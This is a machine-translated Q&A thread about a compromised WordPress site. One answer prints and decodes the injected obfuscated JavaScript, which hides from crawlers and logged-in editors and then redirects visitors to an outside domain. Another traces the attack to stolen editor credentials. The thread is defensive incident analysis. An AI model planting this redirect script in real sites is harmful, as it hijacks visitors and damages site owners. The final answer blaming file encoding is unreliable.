HTML 损坏并在网站中插入评论

信息安全 恶意软件 html
2021-08-16 11:18:53

我们的一个客户的网站变成了一个损坏的状态。大部分内容(是日文的),变成了这样:会 案内(原为:会社案内。查看代码,没有任何线索是编码问题,但似乎我觉得有些东西故意改变了内容。

在页面底部,它显示了这些注释(实际值):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

我搜索了这些字符串,似乎其他网站显示了相同的代码(尽管很少)。所有这些看起来都像被黑了,但只有一个显示“ ”标志。从备份中恢复网站时,我可以确认那些不存在的评论。

可能这个问题与这个问题有关:Hacked HTML page - what's in the comment after the obfuscated code?

但是,这些字符串的编码方式不同,并且不包含 JS 或<b1>标记。

我不认为它是一个 ramsomware,因为它并非全部加密,在我看来更像是通过注入进行的破坏行为。关于底部的代码,它可能是一种ID,可以查看哪些站点已经“完成”。

我通过一些在线恶意软件检查网站运行它,但什么也没显示。

它的目的是什么?有人知道这是什么攻击吗?

3个回答

在查看了包含此类评论的网站后,我发现它们都是 Wordpress 网站。其中 3 个包含注入的 Javascript(在我们的网站中,所有 javascript 都从帖子中删除,所以也许这就是该代码未成功注入的原因)。混淆后的代码如下所示:

(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

解码后变成:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

进一步解码后:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

我可以从该代码中得到的是:

如果机器人是用户代理(例如 google、yahoo...)或者您以管理员/编辑器身份运行,它不会运行?(我找不到关于 wp-settings cookie 的信息)。

20秒后:它为被攻击的域设置一个名为“yYjra4PCc8kmBHess1ib”的cookie,值为“123”,并将值为1的密钥存储在本地存储中。(每个站点的密钥必须不同,以识别它)

之后,它会将您的网站重定向到: http://vyhub.com/css/css/

而已。

关于“vyhub.com”:

头版显示:“它的工作......!” 它已在 godaddy.com 注册,但没有更多信息可用。服务器位于新加坡。 http://vyhub.com/css/css/带你去http://loveo.com

关于“loveo.com”:

它是一个位于美国并在美国注册的约会网站。

所以我从中看到的是,他们使用了一个 Wordpress 漏洞来注入一个 JS,它将访问者重定向到 loveo.com。

生意不好...

编码问题:

编码问题可能与其他原因有关:注入代码的代码可能有意(故意破坏)或无意(他们不能很好地处理 unicode)更改了原始内容。

所采取的行动:

日志没有显示任何可疑的东西(到目前为止),所以我们在服务器上运行了一些安全检查,一切似乎都到位了。从备份中恢复后,我们更新了 wordpress(它有点过时)+ 插件并更改了密码。

我在我网站的几乎每个页面中都发现了完全相同的脚本。我相信发生的事情是编辑/作者的帐户凭据被泄露,黑客/机器人以该用户身份登录到我的 wordpress,并将此代码添加到每个页面并在我的网站上发布。

我是如何发现的:

  1. 我将我的数据库导出到一个 .sql 文件并运行文本搜索以查找脚本的一部分。8500 多个匹配项,似乎都在 wp_posts 表中。

  2. 我查看了每个帖子/页面的编辑历史记录,突然间 3 个月前,有 2 年没有在我公司工作的用户进行了 30 多次编辑。我相信他的密码被盗/泄露。

希望这可以帮助那些试图弄清楚他们是如何受到损害的人。

看来您必须在保存 html 页面时检查您的编码,

我认为这都是关于你的编码而不是黑客问题,

不要将您的 html 页面保存为 ANSI 编码并将其保存为 UNICODE,

然后将此元标记添加到您的 html 页面的标题中:

元字符集="UTF-8"